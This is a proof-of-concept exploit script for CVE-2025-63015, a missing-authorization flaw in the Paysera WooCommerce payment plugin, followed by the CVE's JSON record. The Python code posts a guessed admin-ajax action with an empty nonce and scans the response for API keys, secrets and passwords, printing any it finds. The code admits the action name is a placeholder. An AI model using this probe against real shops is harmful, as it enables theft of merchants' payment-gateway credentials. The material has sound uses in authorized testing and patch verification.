CVE-2025-63015

# CVE-2025-63015 PoC - Missing Authorization in WooCommerce Payment Gateway Paysera # This PoC demonstrates how an attacker with low privileges can exploit the access control vulnerability import requests import sys TARGET_URL = "https://vulnerable-site.com" # The vulnerable endpoint - specific path depends on plugin implementation VULNERABLE_ENDPOINT = "/wp-admin/admin-ajax.php" def exploit_missing_authorization(target_url, endpoint): """ Exploit CVE-2025-63015: Missing Authorization in Paysera WooCommerce Plugin Attack scenario: Low-privilege user can perform admin-level actions """ headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Step 1: Identify the vulnerable action # The plugin registers AJAX actions without proper capability checks # Attackers can trigger these actions with low privileges # Example: Access payment configuration without admin privileges payload = { "action": "wc_paysera_get_config", # Vulnerable action name "_wpnonce": "", # May not be properly validated } print(f"[*] Targeting: {target_url}") print(f"[*] Testing vulnerable endpoint: {endpoint}") try: # As low-privilege user (subscriber/contributor) response = requests.post( f"{target_url}{endpoint}", data=payload, headers=headers, timeout=10 ) if response.status_code == 200: # Check if sensitive data is returned without proper authorization if any(keyword in response.text.lower() for keyword in ['api_key', 'secret', 'config', 'password']): print("[+] VULNERABLE: Unauthorized access successful!") print(f"[+] Response contains sensitive data: {response.text[:500]}") return True else: print("[-] Response received but no obvious sensitive data") else: print(f"[*] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL exploit_missing_authorization(target, VULNERABLE_ENDPOINT) # Note: Replace VULNERABLE_ENDPOINT and payload with actual vulnerable action # discovered through plugin code review or traffic analysis

{"cve": {"id": "CVE-2025-63015", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:06.987", "lastModified": "2026-04-27T19:16:18.113", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in paysera WooCommerce Payment Gateway - Paysera woo-payment-gateway-paysera allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WooCommerce Payment Gateway - Paysera: from n/a through <= 3.10.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woo-payment-gateway-paysera/vulnerability/wordpress-woocommerce-payment-gateway-paysera-plugin-3-9-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}